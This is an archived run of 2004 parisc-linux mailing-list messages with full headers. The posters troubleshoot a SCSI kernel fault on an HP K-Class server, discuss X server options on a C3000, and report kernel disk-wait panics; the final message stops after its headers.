that is a relief :-)) I desperately need these 50GB in this machine.

Well:

it is 2.4.23-pa3, I downloaded the kernel from  http://parisc-linux.org/~rbrad/vmlinux-2.4.23-pa3.bz2 because I needed a kernel supporting Mux. I have not yet built my own kernel, not sure if that
might help.

Since I have three CPUs in this machine, I was planning on building my own kernel anyway. Maybe I should do so, do you think this will help???

Greets,

Jay



                                                                                                                                                                      
                      Grant Grundler                                                                                                                                  
                      <grundler@parisc-linux.org>             An:       Jens_Konrad/Linotype/DE@linotype.com                                                          
                      Gesendet von:                           Kopie:    parisc-linux@lists.parisc-linux.org                                                           
                      parisc-linux-bounces@lists.paris        Thema:    Re: [parisc-linux] Problem with SCSI in K-Class                                               
                      c-linux.org                                                                                                                                     
                                                                                                                                                                      
                                                                                                                                                                      
                      16.04.2004 01:33                                                                                                                                
                                                                                                                                                                      
                                                                                                                                                                      




On Thu, Apr 15, 2004 at 09:04:59PM +0200, Jens_Konrad/Linotype/DE@linotype.com wrote:
> Now I took away the streamer and replaced it with a 50GB SCSI...
...
> My guess is that the low voltage scsi-controller cannot handle the
> size of the HD - could that be??

No. I'm using 73GB drives on my C3000 w/no problem.
Something else is wrong related to the driver stack.
Ryan already asked the obvious question: which kernel version?

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux











From - Thu Nov 08 21:31:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Antwort: Re: [parisc-linux] Problem with SCSI in K-Class
Date: Fri, 16 Apr 2004 02:03:18 -0600
Lines: 265
Approved: news@gmane.org
Message-ID: <1082102597.956.8.camel@laptop.bradetich.net>
References: <OF8E29CCF9.DD26A3F6-ONC1256E77.007BC8F2-C1256E77.007BC9DE@fonts.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623381 8394 80.91.229.3 (22 Nov 2014 02:29:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jens_Konrad/Linotype/DE@linotype.com
Original-X-From: rbradetich@uswest.net  Fri Apr 16 02:03:21 2004
Return-Path: <rbradetich@uswest.net>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6C587484B
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Apr 2004 02:03:20 -0600 (MDT)
Original-Received: from [10.0.0.50] (unknown [10.0.0.50])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id 54B5D2B10E; Fri, 16 Apr 2004 02:03:18 -0600 (MDT)
In-Reply-To: <OF8E29CCF9.DD26A3F6-ONC1256E77.007BC8F2-C1256E77.007BC9DE@fonts.de>
X-Mailer: Ximian Evolution 1.4.6 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 16 Apr 2004 08:03:21 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21440

Hmm... 

I will try to duplicate this problem using disk array over the weekend
to see if this is a generic problem.

Thanks,

- Ryan

On Thu, 2004-04-15 at 16:32, Jens_Konrad/Linotype/DE@linotype.com wrote:
> Hi,
> 
>  
> 
> I just managed to get a screenshot:
> 
>  
> 
> (none):~# mkfs /dev/sde1
> mke2fs 1.27 (8-Mar-2002)
> Filesystem label=
> OS type: Linux
> Block size=4096 (log=2)
> Fragment size=4096 (log=2)
> 6111232 inodes, 12211708 blocks
> 610585 blocks (5.00%) reserved for the super user
> First data block=0
> 373 block groups
> 32768 blocks per group, 32768 fragments per group
> 16384 inodes per group
> Superblock backups stored on blocks:
>        32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632,
> 2654208,
>        4096000, 7962624, 11239424
> 
> Writing inode tables:   0/373HHHHHHH  1/373HHHHHHH  2/373HHHHHHH
> 3/373HHHHHHH  4/373HHHHHHH  5/373HHHHHHH  6/373HHHHHHH  7/3
> Writing superblocks and filesystem accounting information: scsi1 (0:0)
> Target is suffering from tag starvation.
> SCSI disk error : host 1 channel 0 id 0 lun 0 return code = 8
> I/O error: dev 08:41, sector 34078720
> SCSI disk error : host 1 channel 0 id 0 lun 0 return code = 8
> I/O error: dev 08:41, sector 34078722
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 04 90 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 04 7c 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 05 c4 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 05 ac 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 05 10 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 05 9c 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 04 00 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 04 80 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 05 c4 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 05 ac 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 05 10 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 05 9c 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 04 00 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 04 80 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 02 04 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 01 d0 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 01 fc 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 02 00 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 04 8c 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 04 f4 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants device reset
>        0x2a 00 04 90 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants BUS reset, cmd 21e46e00
>        0x2a 00 04 90 00 28 00 00 08 00
> scsi1: Bus Reset detected, executing command 00000000, slot 00000000,
> dsp 001704a8[04a8]
> failing command because of reset, slot 21e88654, cmnd 21e46e00
> failing command because of reset, slot 21e88788, cmnd 21e47e00
> failing command because of reset, slot 21e888bc, cmnd 21e47800
> failing command because of reset, slot 21e889f0, cmnd 21e46200
> failing command because of reset, slot 21e88b24, cmnd 21e46000
> failing command because of reset, slot 21e88c58, cmnd 21e46400
> failing command because of reset, slot 21e88d8c, cmnd 21e46600
> failing command because of reset, slot 21e88ec0, cmnd 21e46a00
> failing command because of reset, slot 21e88ff4, cmnd 21e47c00
> failing command because of reset, slot 21e89128, cmnd 21e47a00
> failing command because of reset, slot 21e8925c, cmnd 21e47600
> failing command because of reset, slot 21e894c4, cmnd 21e47400
> failing command because of reset, slot 21e895f8, cmnd 21e47200
> failing command because of reset, slot 21e8972c, cmnd 21e47000
> 
> Stack Dump:
> 21e90740:  0004ff0e 00000000 21e90670 21e90650
> 21e90730:  00000000 10228630 00000000 21e90000
> 21e90720:  00000000 00000000 00000000 21e90000
> 21e90710:  00000001 00000002 21f36000 00000002
> 21e90700:  21f3c040 1006c000 103aa010 103aa010
> 21e906f0:  1032b010 1020e448 103cd000 00000001
> 
> Kernel addresses on the stack:
> [<10228630>]  [<1020e448>]  [<102248b8>]  [<1020e51c>]
> [<1020e808>]  [<1020e328>]  [<1020f3bc>]  [<1020f75c>]
> [<10108c4c>]  [<10108cf4>]  [<101375f4>]  [<10137a44>]
> [<10165c4c>]  [<1012307c>]  [<1020d3f0>]  [<10165ee0>]
> [<1020f608>]  [<1020d3f0>]  [<1020d600>]  [<101216f0>]
> 
> 
> Kernel Fault: Code=26 regs=21e90740 (Addr=00000048)
> 
>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00000000000001001111111100001110 Not tainted
> r00-03  00000000 103ebab8 10228630 21e8972c
> r04-07  21e46e00 1020de94 21f60400 00002000
> r08-11  000003e8 0000ffff 00002000 00001000
> r12-15  00001002 21f61ea0 000000fd f0100000
> r16-19  f0000fe0 f0000074 f000006c 00000080
> r20-23  00000000 21e889f0 10065860 00000000
> r24-27  00000000 00000000 21f60404 10316010
> r28-31  21f60404 10326c00 21e90740 1020e51c
> sr0-3   00000000 00000003 00000000 00000003
> sr4-7   00000000 00000000 00000000 00000000
> 
> IASQ: 00000000 00000000 IAOQ: 102286bc 102286c0
> IIR: 4a930090    ISR: 00000000  IOR: 00000048
> CPU:        0   CR30: 21e90000 CR31: 103d8000
> ORIG_R28: 00000000
> 
> 
> Jens Konrad
> 04/15/2004 11:57 PM
> 
> An: Jens Konrad/Linotype/DE
> Kopie: Jens_Konrad/Linotype/DE@linotype.com,
> parisc-linux@lists.parisc-linux.org, Ryan Bradetich
> <rbradetich@uswest.net>
> Blindkopie:
> Thema: Antwort: Re: [parisc-linux] Problem with SCSI in K-Class
> 
> 
> 
> 
> btw
> 
> 
> 
> this also happens when I format the device without a partition on it.
> I will try to get a screenshot.
> 
> Jens Konrad
> 04/15/2004 11:38 PM
> 
> An: Ryan Bradetich <rbradetich@uswest.net>
> Kopie: Jens_Konrad/Linotype/DE@linotype.com,
> parisc-linux@lists.parisc-linux.org
> Blindkopie:
> Thema: Antwort: Re: [parisc-linux] Problem with SCSI in K-Class
> 
> 
>   Hi,
> 
> 
> 
> it is 2.4.23-pa3, I downloaded the kernel from
> http://parisc-linux.org/~rbrad/vmlinux-2.4.23-pa3.bz2 because I needed
> a kernel supporting Mux. I have not yet built my own kernel, not sure
> if that might help.
> 
> 
> 
> Anyway, fdisk always told me that "Partition 1 does not end on
> cylinder boundary:". I then partitioned the drive using sector mode,
> and it worked, fdisk is now fine with the partition. But when I use
> mkfs.ext3 or even mkfs.ext2, it just comes to the writing of the
> superblock information, then it crashes. Kernel fault, code=26,
> regs=21e90740 (Addr=000000481) - if that helps, that is about all I
> can read.
> 
> 
> 
> The drive is a 50GB UW SCSI from Seagate, I use an adapter to connect
> it to the SCSI cable of the K-Class.
> 
> When I check /proc/scsi/scsi, the drive is absolutely okay, it is read
> perfectly. But the format is not done correctly, something is wrong
> with the superblock. When I try to mount /dev/sde1, I am told that the
> superblock could not be read.
> 
> Thanx for your help,
> 
> 
> 
> Jay
> 
> Ryan Bradetich <rbradetich@uswest.net>
> Gesendet von: parisc-linux-bounces@lists.parisc-linux.org
> 04/15/2004 01:32 PM CST
> 
> An: Jens_Konrad/Linotype/DE@linotype.com
> Kopie: parisc-linux@lists.parisc-linux.org
> Blindkopie:
> Thema: Re: [parisc-linux] Problem with SCSI in K-Class
> 
> 
> Which kernel?  I will see if I can duplicate on K460.
> 
> Thanks,
> 
> - Ryan
> 
> On Thu, 2004-04-15 at 13:04, Jens_Konrad/Linotype/DE@linotype.com
> wrote:
> > Hi guys,
> >
> > I got my K-Class 200 working in single kernel mode, it is booting
> from high voltage scsi - on the normal scsi I got a CD-Rom and a
> Streamer.
> >
> > Now I took away the streamer and replaced it with a 50GB SCSI and
> booted the machine. During boot he can see the HD without any problems
> (it is a Seagate), and I can also address it via fdisk (it is
> > sde).
> >
> > But when I try to partition it, it comes as far as writing
> superblocks - and then I get a stack dump and the kernel panics, the
> machine freezes - and that was it.
> >
> > My guess is that the low voltage scsi-controller cannot handle the
> size of the HD - could that be?? Anyone have an idea how I could get
> the disk to work?? I would really love to use it, since I wanted
> > to use the K-Class 200 as a file server.
> >
> > Yours,
> >
> > Jay
> >
> >
> >
> >
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> >
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 



From - Thu Nov 08 21:31:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: watsma@mech.ubc.ca
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Re: Question
Date: Fri, 16 Apr 2004 01:39:45 -0700
Lines: 2
Approved: news@gmane.org
Message-ID: <HW99E902.0GK@robin.mech.ubc.ca>
Reply-To: watsma@mech.ubc.ca
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623381 8398 80.91.229.3 (22 Nov 2014 02:29:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:41 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: MAILER-DAEMON  Fri Apr 16 02:43:25 2004
Return-Path: <>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from robin.mech.ubc.ca (robin.mech.ubc.ca [137.82.113.86])
	by dsl2.external.hp.com (Postfix) with ESMTP id D78FB486A
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Apr 2004 02:43:24 -0600 (MDT)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 16 Apr 2004 08:43:25 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21441

This account is no longer accepting mail.


From - Thu Nov 08 21:31:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?Corn=E9_Beerse?= <cbeerse@lycos.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B1000/C3000
Date: Fri, 16 Apr 2004 13:00:01 +0200
Lines: 34
Approved: news@gmane.org
Message-ID: <407FBCB1.1030601@lycos.nl>
References: <200404140944.LAA01567@xenon.pc.Uni-Koeln.DE>
	<200404142102.41913.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623381 8401 80.91.229.3 (22 Nov 2014 02:29:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:41 +0000 (UTC)
Cc: Ulrich Deiters <ukd@xenon.pc.Uni-Koeln.DE>,
	parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: cbeerse@lycos.nl  Fri Apr 16 05:00:59 2004
Return-Path: <cbeerse@lycos.nl>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from lmfilto02.st1.spray.net (lmfilto02.st1.spray.net
	[212.78.202.66])
	by dsl2.external.hp.com (Postfix) with ESMTP id 872724838
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Apr 2004 05:00:59 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by lmfilto02.st1.spray.net (Postfix) with ESMTP
	id E02E56F858; Fri, 16 Apr 2004 11:00:03 +0000 (GMT)
Original-Received: from lmsmtp02.st1.spray.net ([212.78.202.112])
	by localhost (lmfilto02.st1.spray.net [212.78.202.32]) (amavisd-new,
	port 10024)
	with ESMTP id 18106-07; Fri, 16 Apr 2004 11:00:02 +0000 (GMT)
Original-Received: from lycos.nl (unknown [193.172.135.148])
	by lmsmtp02.st1.spray.net (Postfix) with ESMTP id 3E9BA18B;
	Fri, 16 Apr 2004 11:00:02 +0000 (GMT)
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US;
	rv:1.4) Gecko/20030624 Netscape/7.1 (ax)
X-Accept-Language: en-us, en
In-Reply-To: <200404142102.41913.deller@gmx.de>
X-Virus-Scanned: by amavisd-new at spray.net
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 16 Apr 2004 11:01:00 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21442

Helge Deller wrote:

> On Wednesday 14 April 2004 11:44, Ulrich Deiters wrote:
> 
>>I just wanted to install parisc-linux 3.0r2 on a HP C3000, 
>>using an external serial terminal. The installation went more 
>>or less smoothly, but the X server does not come up.
>>
>>The kdm log says "no screens found".
>>
>>I note that there is no X*screens file in /etc/kde2/kdm, but I do 
>>not know whether this is normal or not - this is my first Debian 
>>installation.
>>
>>What must I do to get my X server running? Or is it hopeless, 
>>because the HP graphics card (FX2) is not supported?
> 
> 
> FX2 is not supported, but since you install via serial terminal,
> you could still run a X Server on your local PC-machine (e.g. via Xnest)
> and display there what you would see on the PA-machine.
> 
That gave me the next idea:
Use Xvnc (the core of vnc from http://www.realvnc.com/) as the default Xserver. 
Then you have both a text console (the terminal or whatever) and a local display 
(be it that it is not hardware accelerated). Now you 'only' need a vncviewer at 
your desktop to use the graphical 'console'.

Be noted that the Xvnc fron DebianWoody crashes on my HP-D370...


CBee



From - Thu Nov 08 21:31:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Andy Walker" <ajwalker@broadpark.no>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.5-rc2-pa2 boot panic on c110 :(
Date: Fri, 16 Apr 2004 13:19:51 +0200 (CEST)
Lines: 27
Approved: news@gmane.org
Message-ID: <26419.193.161.152.244.1082114391.squirrel@www.puszczka.com>
References: <407DA495.1090009@tiscali.be>
	<40711E5500006381@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416623382 8406 80.91.229.3 (22 Nov 2014 02:29:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Joel Soete" <Soete.joel@tiscali.be>
Original-X-From: ajwalker@broadpark.no  Fri Apr 16 05:09:14 2004
Return-Path: <ajwalker@broadpark.no>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.broadpark.no (mail.broadpark.no [217.13.4.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id 982774838
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Apr 2004 05:09:14 -0600 (MDT)
Original-Received: from tolstoy.puszczka.com (87.80-203-39.nextgentel.com
	[80.203.39.87]) by mail.broadpark.no (Postfix) with ESMTP
	id 93FAA3FDE; Fri, 16 Apr 2004 13:09:17 +0200 (MEST)
Original-Received: by tolstoy.puszczka.com (Postfix, from userid 81)
	id 84C657E9A; Fri, 16 Apr 2004 13:19:51 +0200 (CEST)
Original-Received: from 193.161.152.244 (SquirrelMail authenticated user andy)
	by www.puszczka.com with HTTP; Fri, 16 Apr 2004 13:19:51 +0200 (CEST)
In-Reply-To: <40711E5500006381@ocpmta2.freegates.net>
User-Agent: SquirrelMail/1.4.2
X-Priority: 3
Importance: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 16 Apr 2004 11:09:15 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21443

>>That said, thanks to viewcvs, cvs and some tbz I recover from my systems,
> I >reach to rebuild on my b2k at the office:
>>2.6.3-pa2 (runing simultaneoulsy 2 find on different linux tree, a
>> tar of one of those tree) survive :)
>>2.6.4-rc1-pa3 same test: survive (so no pb with ccio-dma changes) :)
>>but 2.6.4-rc4-pa6 died with same messages.
>
> Sorry a typo: read 2.6.4-rc3-pa6 in place of rc4 :(
>
> Joel
>
>

Joel,

2.6.6-rc1-pa0 shows the same behaviour, although it does seem to make it
through the Gentoo boot process most times. Typically, 'ls <TAB><TAB>' in
bash in a largeish directory will do the trick. The bash process ends up
in disk-wait, the WARN_ON gets logged. I can switch consoles and log in
but just about anything that goes to disk ends up in disk-wait too.

I've compiled 2.6.3-pa2 in the hope of getting the C180 up and stable.
Can't boot it until this evening because the machine's at home and
AUTOBOOT is OFF.

-Andy


From - Thu Nov 08 21:31:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B1000/C3000
Date: Fri, 16 Apr 2004 10:47:33 -0400
Lines: 9
Approved: news@gmane.org
Message-ID: <20040416144733.GI24370@baldric.uwo.ca>
References: <200404140944.LAA01567@xenon.pc.Uni-Koeln.DE>
	<200404142102.41913.deller@gmx.de> <407FBCB1.1030601@lycos.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623382 8411 80.91.229.3 (22 Nov 2014 02:29:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:42 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, Ulrich Deiters <ukd@xenon.pc.Uni-Koeln.DE>,
	parisc-linux@lists.parisc-linux.org
To: Corn? Beerse <cbeerse@lycos.nl>
Original-X-From: carlos@baldric.uwo.ca  Fri Apr 16 08:54:44 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id AD5B94855
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Apr 2004 08:54:44 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1BEUcw-0001LL-00; Fri, 16 Apr 2004 10:47:34 -0400
Content-Disposition: inline
In-Reply-To: <407FBCB1.1030601@lycos.nl>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (98% Sync Ratio [==========])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 16 Apr 2004 14:54:45 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21444

On Fri, Apr 16, 2004 at 01:00:01PM +0200, Corn? Beerse wrote:
> Be noted that the Xvnc fron DebianWoody crashes on my HP-D370...

Does the viewer from sid crash you box?
Any idea why it crashes?

c.



From - Thu Nov 08 21:31:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?Corn=E9_Beerse?= <cbeerse@lycos.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B1000/C3000
Date: Fri, 16 Apr 2004 17:38:47 +0200
Lines: 36
Approved: news@gmane.org
Message-ID: <407FFE07.50000@lycos.nl>
References: <200404140944.LAA01567@xenon.pc.Uni-Koeln.DE>	<200404142102.41913.deller@gmx.de>
	<407FBCB1.1030601@lycos.nl> <20040416144733.GI24370@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623382 8415 80.91.229.3 (22 Nov 2014 02:29:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:42 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, Ulrich Deiters <ukd@xenon.pc.Uni-Koeln.DE>,
	parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: cbeerse@lycos.nl  Fri Apr 16 09:39:06 2004
Return-Path: <cbeerse@lycos.nl>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from lmfilto01.st1.spray.net (lmfilto01.st1.spray.net
	[212.78.202.65])
	by dsl2.external.hp.com (Postfix) with ESMTP id 32CA74842
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Apr 2004 09:39:06 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by lmfilto01.st1.spray.net (Postfix) with ESMTP
	id 3A5308784E; Fri, 16 Apr 2004 15:38:49 +0000 (GMT)
Original-Received: from lmsmtp01.st1.spray.net ([212.78.202.111])
	by localhost (lmfilto01.st1.spray.net [212.78.202.32]) (amavisd-new,
	port 10024)
	with ESMTP id 21593-06; Fri, 16 Apr 2004 15:38:48 +0000 (GMT)
Original-Received: from lycos.nl (unknown [193.172.135.148])
	by lmsmtp01.st1.spray.net (Postfix) with ESMTP id CE15E1B8;
	Fri, 16 Apr 2004 15:38:47 +0000 (GMT)
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US;
	rv:1.4) Gecko/20030624 Netscape/7.1 (ax)
X-Accept-Language: en-us, en
In-Reply-To: <20040416144733.GI24370@baldric.uwo.ca>
X-Virus-Scanned: by amavisd-new at spray.net
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 16 Apr 2004 15:39:06 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21445

Carlos O'Donell wrote:

